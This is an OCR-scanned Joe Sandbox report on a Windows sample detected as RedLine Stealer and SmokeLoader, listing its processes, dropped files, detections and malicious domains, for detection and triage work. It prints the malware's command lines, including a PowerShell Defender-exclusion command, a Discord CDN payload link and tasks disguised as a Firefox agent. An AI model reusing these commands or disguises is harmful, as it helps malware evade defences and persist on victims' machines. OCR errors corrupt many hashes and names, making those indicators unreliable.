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Windows Analysis Report y4oMrtO1Mt.exe
Overview

General Information Detection Signatures Classification

Sample y4oMrtO1Mt.exe
Name: MALICIOUS Yara detected RedLine Stealer

Analysis ID: 518780 Yara detected SmokelLoader

MDS: db2ef30es8f821c8.. System process connects to networ...
SHA1L:
01a08a69f1e8e6d. Detected unpacking (changes PE se...
SHA256: 433cf9125a44e30.
Antivirus detection for URL or domain
- Antivirus detection for dropped file
Infos: DEQaRQ
DLL reload attack detected
& E VY

Multi AV Scanner detection for subm...

Most interesting Screenshot:

RedLine Benign windows process drops PE f...
SmokeLoader
00 Multi AV Scanner detection for doma...
Range: 0-100 Multi AV Scanner detection for dropp...
Whitelisted: false
X Maps a DLL or. memory area into an...
Confidence: 100%

Sigma detected: Suspicious Script E...

Tries to detect sandboxes and other...

Process Tree

= System is wl0x64

. @ y4oMrtO1Mt.exe (PID: 7100 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)
o [ ydoMrtOIMt.exe (PID: 7140 cmdline: "C:\Users\user\Desktop\y4oMrtO1Mt.exe" MD5: DB2EF30E8F821C8F00456941F5944849)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. @ F72D.exe (PID: 6960 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)
e (B F72D.exe (PID: 5008 cmdline: C:\Users\user\AppData\Local\Temp\F72D.exe MD5: DB2EF30E8F821C8F00456941F5944849)
o (B 59B4.exe (PID: 5212 cmdline: C:\Users\user\AppData\Local\Temp\59B4.exe MD5: 510129781D403976345AFEA3BDB4E426)
e B 8039.exe (PID: 5408 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EFO9CFB2DDC4AF2089DF63A761ECC7833)
e B 8039.exe (PID: 6032 cmdline: C:\Users\user\AppData\Local\Temp\8039.exe MD5: EFOCFB2DDC4AF2089DF63A761ECC7833)
. E‘ 9D57.exe (PID: 6244 cmdline: C:\Users\user\AppData\Local\Temp\9D57.exe MD5: 08CB82859479B33DC1D0738B985DB28C)
o (B B8BO.exe (PID: 6784 cmdline: C:\Users\user\AppData\Local\Temp\B8B0.exe MD5: 9FA070AF1ED2E1F07ED8CIF6EB2BDD29)
. E AdvancedRun.exe (PID: 3544 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45ch-b375-131a4522ce18\AdvancedRun.exe" /EXEFilename

"C:\Users\usen\AppData\Local\Temp\e8e330fa-11c2-45ch-b375-131a4522cel8\test.bat" /WindowState 0™ /PriorityClass "'32"" /CommandLine " /StartDirectory " /R
unAs 8 /Run MD5: 17FC12902F4769AF3A9271EB4E2DACCE)

. E AdvancedRun.exe (PID: 6560 cmdline: "C:\Users\user\AppData\Local\Temp\e8e330fa-11c2-45ch-b375-131a4522cel18\AdvancedRun.exe" /SpecialRun
4101d8 3544 MD5: 17FC12902F4769AF3A9271EB4E2DACCE)
o E¥ powershell.exe (PID: 3840 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\App
Data\Local\Temp\B8BO0.exe" -Force MD5: DBA3E6449E97D4E3DF64527EF7012A10)
. conhost.exe (PID: 2912 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. @ 610B.exe (PID: 4936 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)
e (B 610B.exe (PID: 6984 cmdline: C:\Users\user\AppData\Local\Temp\610B.exe MD5: 7BD70FFC35AB8B39FDE9BD5FAEC876DB)
e [E 82DC.exe (PID: 4904 cmdline: C:\Users\user\AppData\Local\Temp\82DC.exe MD5: 0F289285CADCF1E656016A19789B5637)
. conhost.exe (PID: 4500 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. @ hrgjvbv (PID: 1572 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)
e [ hrgjvbv (PID: 6780 cmdline: C:\Users\user\AppData\Roaming\hrgjvbv MD5: DB2EF30E8F821C8F00456941F5944849)

. @' argjvbv (PID: 4856 cmdline: C:\Users\user\AppData\Roaming\argjvbv MD5: 08CB82859479B33DC1D0738B985DB28C)
= cleanup

Malware Configuration

No configs have been found
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Yara Overview

Dropped Files

Source

C:\Users\user\AppData\Local\Temp\B8B0.exe

Memory Dumps

Source

0000001B.00000002.954434043.00000000036B
5000.00000004.00000001.sdmp

00000017.00000002.879242303.00000000020A
1000.00000004.00020000.sdmp

00000001.00000002.725665133.00000000004A
0000.00000004.00000001.sdmp

00000016.00000000.851440177.000000000040
2000.00000040.00000001.sdmp

0000001B.00000002.946993376.000000000218
0000.00000004.00000001.sdmp

Unpacked PEs

Source
27.2.610B.exe.36b5530.8.raw.unpack

29.2.82DC.exe.3f36280.1.unpack
27.2.610B.exe.2600000.5.unpack
27.2.610B.exe.2050000.2.raw.unpack

27.2.610B.exe.36b6418.6.raw.unpack

Sigma Overview

System Summary:

Rule

SUSP_PE_Discord_Attach

ment_Oct21_1

Rule

JoeSecurity_RedLine

Description

executable with
reference to a
Discord
attachment (often
used for malware
hosting on a
legitimate FQDN)

Description

Yara detected
RedLine Stealer

JoeSecurity_SmokeLoader Yara detected

2

SmokeLoader

JoeSecurity_SmokeLoader Yara detected

2

JoeSecurity_RedLine

JoeSecurity_RedLine

SmokeLoader

Yara detected
RedLine Stealer

Yara detected
RedLine Stealer

Author

Detects suspicious Florian Roth

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 22 entries

Rule

JoeSecurity_RedLine

JoeSecurity_RedLine

JoeSecurity_RedLine

JoeSecurity_RedLine

JoeSecurity_RedLine

Description

Yara detected
RedLine Stealer

Yara detected
RedLine Stealer

Yara detected
RedLine Stealer

Yara detected
RedLine Stealer

Yara detected
RedLine Stealer

Author

Joe Security

Joe Security

Joe Security

Joe Security

Joe Security

Click to see the 27 entries

Strings

e 0x20735:$x1: https://cdn.discordapp.com/attachments/
e 0x207e9:$x1: https://cdn.discordapp.com/attachments/

Strings

Strings

Sigma detected: Non Interactive PowerShell

Jbx Signature Overview

g

AV Detection:

Antivirus detection for URL or domain

Antivirus detection for dropped file

Multi AV Scanner detection for submitted file

Copyright Joe Security LLC 2021
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Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

=

Networking:

System process connects to network (likely due to code injection or exploit)

]

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

System Summary:

Data Obfuscation:

=

Detected unpacking (changes PE section rights)

Hooking and other Techniques for Hiding and Protection:

]

DLL reload attack detected

Malware Analysis System Evasion:

=

Anti Debugging:

=

HIPS | PFW | Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Benign windows process drops PE files
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Stealing of Sensitive Information:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Remote Access Functionality:

Yara detected RedLine Stealer

Yara detected SmokeLoader

Mitre Att&ck Matrix

Privilege Credential Lateral Command
Initial Access Execution  Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Contr
Valid Native DLL Side- Exploitation for ~ Disable or Modify Input System Time Remote Archive Exfiltration Over Other  Ingress To
Accounts API Loading Privilege Tools Capture Discovery Services Collected  Network Medium Transferﬂ

Escalation Data

Default Exploitation  Application DLL Side- Deobfuscate/Decode LSASS File and Directory Remote Data from  Exfiltration Over Encrypted
Accounts for Client Shimming Loading Files or Memory Discovery Desktop Local Bluetooth Channel E
Execution Information Protocol System
Domain Command Windows Application Obfuscated Files or  Security System Information SMB/Windows Input Automated Exfiltration Non-Stand
Accounts and Scripting  Service Shimming Information Account Discovery Admin Shares Capture Port
Interpreter Manager
Local Service Logon Script  Access Token Software NTDS Security Software Distributed Input Scheduled Transfer Non-
Accounts Execution (Mac) Manipulation Packing Discovery E Component  Capture Application
Object Model Layer
Protocol (@l
Cloud Cron Network Windows Timestomp LSA Virtualization/Sandbox SSH Keylogging Data Transfer Size Application
Accounts Logon Script  Service Secrets  Evasion Limits Layer
Protocol [
Replication Launchd Rc.common  Process DLL Side- Cached Process Discovery VNC GUI Input  Exfiltration Over C2 Multiband
Through Injection @ @ @ Loading E§ EY Domain Capture  Channel Communic
Removable Credentials
Media
External Scheduled  Startup Iltems Startup ltems File Deletion DCSync Application Window  Windows Web Exfiltration Over Commonly
Remote Task Discovery Remote Portal Alternative Protocol Used Port
Services Management Capture
Drive-by Command Scheduled Scheduled Masquerading Proc Remote System Shared Credential Exfiltration Over Application
Compromise and Scripting Task/Job Task/Job Filesystem Discovery Webroot API Symmetric Encrypted Layer Prott
Interpreter Hooking ~ Non-C2 Protocol
Exploit Public- PowerShell At (Linux) At (Linux) Virtualization/Sandbox /etc/passwd System Network Software Data Exfiltration Over Web Proto
Facing Evasion and Connections Deployment  Staged Asymmetric Encrypted
Application letc/shadow Discovery Tools Non-C2 Protocol
Supply Chain  AppleScript At (Windows) At (Windows) Access Token Network Process Discovery Taint Shared Local Data Exfiltration Over File Transf
Compromise Manipulation Sniffing Content Staging Unencrypted/Obfuscated Protocols
Non-C2 Protocol
Compromise  Windows Cron Cron Process Input Permission Groups Replication Remote Exfiltration Over Mail Protoc
Software Command Injection Capture Discovery Through Data Physical Medium
Dependencies Shell Removable Staging
and Media
Development
Tools
Compromise  Unix Shell Launchd Launchd Hidden Files and Keylogging Local Groups Component Screen Exfiltration over USB DNS
Software Directories Object Model  Capture
Supply Chain and
Distributed
COM

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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B CA\Users\jones\AppData\Local\ Temp'82DC.exe

PIVFAGEAAV

PWCCAW.

QNCYCDFIY

g

SFPUSAFIOL
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Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source
y4oMrtO1Mt.exe
y4oMrtO1Mt.exe

Dropped Files

Source
C:\Users\user\AppData\Local\Temp\82DC.exe
C:\Users\user\AppData\Local\Temp\59B4.exe
C:\Users\user\AppData\Local\Temp\F72D.exe
C:\Users\user\AppData\Local\Temp\610B.exe
C:\Users\user\AppData\Local\Temp\82DC.exe
C:\Users\user\AppData\Local\Temp\8039.exe
C:\Users\user\AppData\Roaming\hrgjvbv
C:\Users\user\AppData\Local\Temp\9D57.exe
C:\Users\user\AppData\Local\Temp\B8B0.exe
C:\Users\user\AppData\Roaming\argjvbv
C:\Users\user\AppData\Local\Temp\1105.tmp
C:\Users\user\AppData\Local\Temp\1105.tmp
C:\Users\user\AppData\Local\Temp\8039.exe
C:\Users\user\AppData\Local\Temp\82DC.exe

Copyright Joe Security LLC 2021

Detection

29%

100%

Detection
100%
100%
100%
100%
100%
100%
100%
100%
100%
100%
0%
2%
36%
54%

£

16:22 PM D

A~ Q)
W) 11/9/2021

Scanner

Virustotal

Label

Joe Sandbox ML

Scanner

Avira

Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Metadefender
ReversingLabs
ReversingLabs

ReversingLabs

Label
HEUR/AGEN.1144480

Win32.Trojan.RedLineSteal

ByteCode-
MSIL.Trojan.AgentTesla

Link

Browse

Link

Browse
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https://www.virustotal.com/gui/file/433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3/detection/f-433cf9125a44e304eca2c5cf3bfe2af0b1deafd1c5e8d13d559e1bac9de711b3-1636492888
https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis
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https://www.metadefender.com/#!/results/file/bzIxMTAzME1JZnZfZm1WeEZTQUd0TWYtWjVF/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis
https://www.virustotal.com/gui/url/fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd/detection/u-fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd-1636439376

Source

http:/itempuri.org/Entity/ld21Response

http:/itempuri.org/Entity/ld15Response
http:ifhttps://api.ip.sb/ip
http:iicrl.sectigo.com/SectigoRSACodeSigningCA.crl0s
http:/ftempuri.org/Entity/ld24Response
http:/itempuri.org/Entity/ld5SResponse
http:/ftempuri.org/DetailsDataSet1.xsd
http:/ftempuri.org/Entity/ld10Response
http:/itempuri.org/Entity/ld8Response
http:/focsp.sectigo.comO
http:/ftempuri.org/Entity/ld13Response
http:/ftempuri.org/t

http:/ftempuri.org/t
http:/ftempuri.org/Entity/ld22Response
http:i/https://get.adob
http:/itempuri.org/Entity/ld18Response
http:/ftempuri.org/X
http:/itempuri.org/X
http:/itempuri.org/Entity/ld3Response
http:i/service.r
http:/itempuri.org/Entity/Id9
http:/itempuri.org/Entity/Id8
http:/itempuri.org/Entity/Id5

Domains and IPs

Contacted Domains

Name P
host-host-file6.com 47.74.84.15
hajezey10.top 47.74.84.15
escalivrouter.net 192.42.116.41
cdn.discordapp.com 162.159.134.233
nalirou70.top 47.74.84.15
nusurtal4f.net 45.141.84.21
privacytoolzforyou7000.top 47.74.84.15
netomishnetojuk.net unknown

Contacted URLs

Name

Active
true
true
true
true
true
true
true

unknown

Malicious

Detection

0%

Malicious
false
false
false
false
false
false
false

false

Scanner

URL Reputation

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
Virustotal

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
Virustotal

Avira URL Cloud
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Antivirus Detection

Antivirus Detection

Label Link

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

safe

Browse

safe

safe

safe

safe

Browse

safe

safe

safe

safe

safe

safe
Reputation
high
high
high
high
high
high
high
high

Reputation

http:if
https://cdn.discordapp.com/attachments/893177342426509335/902526114763767818/A623D
0D3.jpg

URLs from Memory and Binaries

Contacted IPs

Public

P Domain Country
45.141.84.21 nusurtal4f.net Russian Federation
47.74.84.15 host-host-file6.com United States

Copyright Joe Security LLC 2021

false

ASN
206728
45102

ASN Name Malicious
MEDIALAND-ASRU false

CNNIC-ALIBABA-US-NET-  false
APAlibabaUSTechnologyCo
LtdC
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https://www.virustotal.com/gui/url/6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a/detection/u-6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a-1636453958
https://www.virustotal.com/gui/url/1f378565d3bd31b2f6fb6459c7c4e8fa33839eb5096f98467b9aed22af70c844/detection/u-1f378565d3bd31b2f6fb6459c7c4e8fa33839eb5096f98467b9aed22af70c844-1589301359
https://www.virustotal.com/gui/url/6daf0f0c8b88b2cab38a282bb7c27e1a50060cde81fda69357f39ed6a97ea1ac/detection/u-6daf0f0c8b88b2cab38a282bb7c27e1a50060cde81fda69357f39ed6a97ea1ac-1485954498
https://www.virustotal.com/gui/url/fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd/detection/u-fa62c30e8bb130fb69f35130b03dff10e30a1688d6d42fd35ac61bd528e742cd-1636439376
https://www.virustotal.com/gui/url/6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a/detection/u-6be77d6baa71a1ca21175f5780ba2d071d5f6c31f2425f1774627dd31ee4b37a-1636453958

P Domain Country Flag ASN ASN Name Malicious

45.9.20.149 unknown Russian Federation 35913 DEDIPATH-LLCUS false
93.115.20.139 unknown Romania '] 202448 MVPShttpswwwmvpsnetEU  false
162.159.134.233 cdn.discordapp.com United States £S5 13335 CLOUDFLARENETUS false
Private

P

192.168.2.1

General Information

Joe Sandbox Version: 34.0.0 Boulder Opal
Analysis ID: 518780

Start date: 09.11.2021

Start time: 22:19:09

Joe Sandbox Product: CloudBasic

Overall analysis duration: Oh 14m 56s
Hypervisor based Inspection enabled: false

Report type: light

Sample file name: y4oMrtO1Mt.exe
Cookbook file name: default.jbs

Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 34

analysed:

Number of new started drivers analysed: 0

Number of existing processes analysed: 0

Number of existing drivers analysed: 0

Number of injected processes analysed: 1

Technologies: e HCA enabled

e EGA enabled
e HDC enabled
e AMSI enabled

Analysis Mode: default

Analysis stop reason: Timeout

Detection: MAL

Classification: mal100.troj.spyw.evad.WinEXE@29/14@38/7

EGA Information: Failed

HDC Information: e Successful, ratio: 78.7% (good quality ratio 71.5%)

e Quality average: 70%
e Quality standard deviation: 31.7%
HCA Information: e Successful, ratio: 87%

e Number of executed functions: 0
e Number of non-executed functions: 0

Cookbook Comments: e Adjust boot time

e Enable AMSI

e Found application associated with file extension: .exe
Warnings: Show All
Simulations

Behavior and APIs

Time Type Description

22:20:49 Task Scheduler Run new task: Firefox Default Browser Agent 9682C9CDD0967C59 path: C:\Users\user\AppData\Roaming\hrg
jvbv

22:22:06 Task Scheduler Run new task: Firefox Default Browser Agent 386388EAAF16D104 path: C:\Users\user\AppData\Roaming\arg
jvbv
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Joe Sandbox View | Context

IPs

No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Usersl\user\AppData\Local\Microsoft\CLR_v4.0_32\UsagelLogs\8039.exe.log

Process:
File Type:
Category:
Size (bytes):

C:\Users\user\AppData\Local\Temp\8039.exe
ASCII text, with CRLF line terminators
dropped

410

Entropy (8bit):  5.346314304489858

Encrypted: false

SSDEEP: 12:Q3La/hhkvoDLI4AMWuCqDLI4AMWuPk21q1KDLI4M6:MLUE4K5E4Ks2E1qE4]

MD5: C70892F98C66E2701D48CFC052DE8OF6

SHA1L: FBAC1415A037F6F650B418F17CD9AF44AE845E20

SHA-256: AEE730B643B2C97FCBA55D2A3385160819447E1EDC8E08595B0605ADEB553A89

SHA-512: ECE4FC4F5F20E490F48D0B0OB5152ECCAC6A2FEDFF21D94A56E99F7AC54BEBEB4D56472987C758891C8C8BAFFEEELFEBF2CEBCD42456391DCF214B1AC06C5!
E66

Malicious: false

Reputation: unknown

Preview:
1,"fusion","GAC",0..1,"WIinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934€089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKkeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\luser\AppData\Local\Temp\1105.tmp v

Process: C:\Users\user\AppData\Local\Temp\9D57.exe

File Type: PE32 executable (DLL) (console) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 1622408

Entropy (8bit):  6.298350783524153

Encrypted: false

SSDEEP: 24576:hNZ04UyDzGrVh8xsPCw3/dzcldIndozS35IW1g/kNVSYVEs4j13HLHGIImdV4q:dGrVr3hclvngzS35IWk/LVRHbO

MD5: BFAG689ECA05147AFD466359DD4A144A3

SHAL: B3474BE2B836567420F8DC96512AA303F31C8AFC

SHA-256: B78463B94388FDDB34C03F5DDDD5D542E05CDED6D4E38C6A3588EC2C90F0070B

SHA-512: 8F09781FD585A6DFB8BBC34B9F153B414478B44B28D80A8BOBDC3BED687F3ADABIE6OFO8CCECS5D5A3FD916E3091C845F9D96603749490B1F7001430408F711C

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 0%, Browse

e Antivirus: ReversingLabs, Detection: 2%
Reputation: unknown
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https://www.metadefender.com/#!/results/file/bzE5MTExOUhKUVYzX2NQVzJIcnk0NDJ1NVBibkg/regular/analysis

C:\Users\luser\AppData\Local\Temp\1105.tmp 0

Preview:
MZ. ..@.. .L.!This program cannot be run in DOS mode....$.......Lly>@.m.@.m.@.m....@.mg$..@.mg$.IN@.mg$.|.A.mg$.|
.@.mg$.l.@.mg$.m.@.mg$...@.mRich.@.m ....PE..L...s<s. LPal(K S, 8..
LGNLLLT .@....mrdata.h#..

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 2758360

Entropy (8bit): 7.8072751275522085

Encrypted: false

SSDEEP: 49152:SegXQmBiJwU7ltidndcPtByly4wlLSo7HevDBiit8eU7LmgD+QDWYYOu4A:MfBcnmUCQLOFZtO7LFDO
MDS5: 510129781D403976345AFEA3BDB4E426

SHA1L: 7990E703C20D541B81D310AA6DF243BAF591ED04

SHA-256: 9642C83319B6F287E5FEACA3EDB50BD447A9CD41CDB88D6ES88AAS69BFF23552

SHA-512: 1DDD3F8EB813091E5DF421235B5AA8FEEB845E960794D72BEB0925D854119653F5D2E9E8190177EAACCEF20A1D791CF3926420E441F76C6B7CA155120E7BODF7I
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

@...~.\1847. ..
.Cuasre...oC....i..D...$...c.......@..@

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 365568

Entropy (8bit):  6.486259774061807

Encrypted: false

SSDEEP: 6144:wQBXemUkeyanBOnxNrQZ85As33XirHVcrdtCzrC8qhmzAzCB6lYDuvq:5BOWmMBOnxdzXiDqrdtCzrCRmzAzCB2YZ
MD5: 7BD70FFC35AB8B39FDE9BD5SFAEC876DB

SHA1L: 01BB3BF7DD71EDBCB81DBFDEAOEAA8BODF35F8443

SHA-256: 682DEC9DEB96439E3D921A1BB95CF498729FESEAD7B665A6E17FEA7349998CD0

SHA-512: 88095122F60A9CC515930EDC5F7895A1224F4ACA0589B85961B657DB55A77B8F2CA483A030DD02C6CB65D0E0680DF16800A104D5D102C52F316BECA26E76DCZ
Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

Process: C:\Windows\explorer.exe

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 294912

Entropy (8bit):  7.82778559429451

Encrypted: false

SSDEEP: 6144:hKaDPab1LDUZtIkWAsI36168If+7ZgNv6106z:hK4wlKetAsSgf+VO6106

MD5: EF9CFB2DDC4AF2089DF63A761ECC7833

SHAL: 2E44DAD28F2131822DCD9B7868C11FB1767C3D4B

SHA-256: 9FD007DE870E23DEB778B08AF3A01E3DFAFIDFC3483496C438EC734B26D26340

SHA-512: E95BA94E92470BE2B4FCC8FEOE4C128E1E529B3C29C9439FBCFAFDI72E37BF3FF011B09F7D9FBOCEGES8B39C91F46C5087F433CBI9DDDASFA7C319DA41427F,
A2

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

e Antivirus: ReversinglLabs, Detection: 36%

Reputation: unknown
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Preview:

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Reputation:

Preview:

C:\Windows\explorer.exe

PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
dropped

399872

3.7275795885047986

false

12288:vQUTQWVAJIpXxBG3t5Y416hGk3IfTCc610C1dDEtDs7C:vQp/JuS
0F289285CADCF1E656016A19789B5637
255E2358E028F91BC273CAD7984E73054D47CEFB
BF3CF8C31844F459B99593A2291F55D1BD57A73E293067E5921A45FE85F8F2F6
BE3F4A57128BIFA791DC44F33C97C67FE74652A2347506F916B5EB999DBD2D6B04FFE6E4158AD52E59BE3A603EF499E8CO0CCASC517A4024B6735B3DB54F5598
true

e Antivirus: Avira, Detection: 100%
e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 54%

unknown

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:

Malicious:

Antivirus:

Reputation:

Preview:

Process:
File Type:
Category:
Size (bytes):

Entropy (8bit):

Encrypted:
SSDEEP:
MD5:
SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Windows\explorer.exe
PE32 executable (GUI) Intel 80386, for MS Windows

dropped

233472

6.6947626548823385

false

6144:vLDUP9cE7VUV+/7yfpO7JTx4uzbgwu6QigabwVf:DDXE7VUVPOL4unNn5
08CB82859479B33DC1D0738B985DB28C
2162CEC3E4A16E4B9C610004011473965CF300F8
8DB223A1FFA1B3B3788EE9FOE050CC64F7B5CBEFA8745E95E00391F7BABCCES8

AB9A4EACBBCED14DC55FCA39D43D6182FE8D600D4DAIFBI38298FC151866A26777B45A527BCB2CC099D734111DBEB70224ED16E9B590C8B76B057B905EB7C!
12

true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 74%

unknown

P.l

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

161280

5.163359140538006

false

3072:hj1+ax5s9jVultxylAMzTiSMzTjolelUhCp:hJgjVoeN
9FAO070AF1ED2E1F07ED8COF6EB2BDD29
6E1ACD6CB17AB64AC6DBFOF4400C649371B0OE3BD
08D67F957EC38E92301EEAAAF2759EF2A070376239EAD25864C88F3DD31EABSC

14A1CD1090A2ECCEA3B654EEE2B7D4DE390219F8C3C200D97D2AB431311BDF24B1B40F2F38E78804AD286654CD33DFB515704C9B863DAF0786A0D633F05COE
2

true
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Yara Hits:

Antivirus:

Reputation:

Preview:

Rule: SUSP_PE_Discord_Attachment_Oct21_1, Description: Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on
a legitimate FQDN), Source: C:\Users\user\AppData\Local\Temp\B8BO0.exe, Author: Florian Roth

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: Metadefender, Detection: 46%, Browse
Antivirus: ReversingLabs, Detection: 71%

unknown

Process:
File Type:
Category:
Size (bytes):

C:\Windows\explorer.exe

PE32 executable (GUI) Intel 80386, for MS Windows

modified

292864

Entropy (8bit):  5.9359496550819655

Encrypted: false

SSDEEP: 3072:6zyig02ASI6xXrDXa23CiVfcC5DBoLtJalC4CrraxlsgUUirwX0m5SI5nTK5DItT:6xxXoiVicGBOvalC4CrrqR3rC0z5+k

MD5: DB2EF30E8F821C8F00456941F5944849

SHA1L: 01A08A69F1EBE6D822ECES77A9EBEB4AOCT7F5F60

SHA-256: 433CF9125A44E304ECA2C5CF3BFE2AFOB1DEAFD1C5E8D13D559E1BACIODE711B3

SHA-512: 7E8A3BOA1C57B3E7E8B6BFF850D5CD28BBABCAG63BA90BCAOF7A502E3964DE641004388AFB1271A01E7BC34BA66D6299E487107869C4BC224BF36D6FBI00ET72
EE

Malicious: true

Antivirus: e Antivirus: Joe Sandbox ML, Detection: 100%

Reputation: unknown

Preview:

C:\Users\luser\AppData\Local\Temp\e8e330fa-11c2-45ch-b375-131a4522ce18\AdvancedRun.exe Q

Process: C:\Users\user\AppData\Local\Temp\B8BO0.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 91000

Entropy (8bit):  6.241345766746317

Encrypted: false

SSDEEP: 1536:JW30srWjET3tYIrrRepnbZ60bGk2nLY 2jR+utQUN+WXim:HjJETI9nX0pnUOik2nXjR+utQK+g3

MD5: 17FC12902F4769AF3A9271EB4E2DACCE

SHAL: 9A4A1581CC3971579574F837E110F3BD6D529DAB

SHA-256: 29AE7B30ED8394C509C561F6117EA671EC412DA50D435099756BBB257FAFB10B

SHA-512: 036E0D62490C26DEE27EF54E514302E1CC8A14DEBCE3B9703BF7CAF79CFAE237E442C27A0EDCF2C4FDA1AF4195BA9ED7E32E894767CE04467E79110E89522E
A

Malicious: false

Antivirus: e Antivirus: Metadefender, Detection: 3%, Browse

e Antivirus: ReversingLabs, Detection: 0%
Reputation: unknown
Preview:

C:\Users\user\AppDatal\Local\Temp\e8e330fa-11c2-45ch-b375-131a4522ce18\test.bat

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:

C:\Users\user\AppData\Local\Temp\B8BO0.exe

ASCII text, with very long lines, with CRLF line terminators

modified

8399

4.665734428420432

false
192:XjtlefE/Qv3puaQo8BEINisgwgxOTkreOP/XApNDQS08wWQJYbZhgEAFCHBN:xlef2Qh8BuNivdisOyj6 YboVF3N
B2A5EF7D334BDF866113C6F4F9036AAE

F9027F2827B35840487EFD04E818121B5A8541E0
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https://www.metadefender.com/#!/results/file/bzIxMTAzME1JZnZfZm1WeEZTQUd0TWYtWjVF/regular/analysis
https://www.metadefender.com/#!/results/file/YnpJeE1ESXlNbWhSV0hWQ01rVkRlZ18xa2xEOTBkOUw/regular/analysis

C:\Users\luser\AppData\Local\Temple8e330fa-11c2-45ch-b375-131a4522cel8\test.bat

SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

27426AA52448E564B5B9DFF2DBE62037992ADA8336A8E36560CEE7A94930C45E

8ED39ED39E03FA6DAE49167E8CA4823E47A221294945C141B241CFD1EB7D20314A15608DA3FAFC3C258AE2CFC535D3E5925B56 CACEEES87ACFB7D4831D2671¢
E

false

unknown

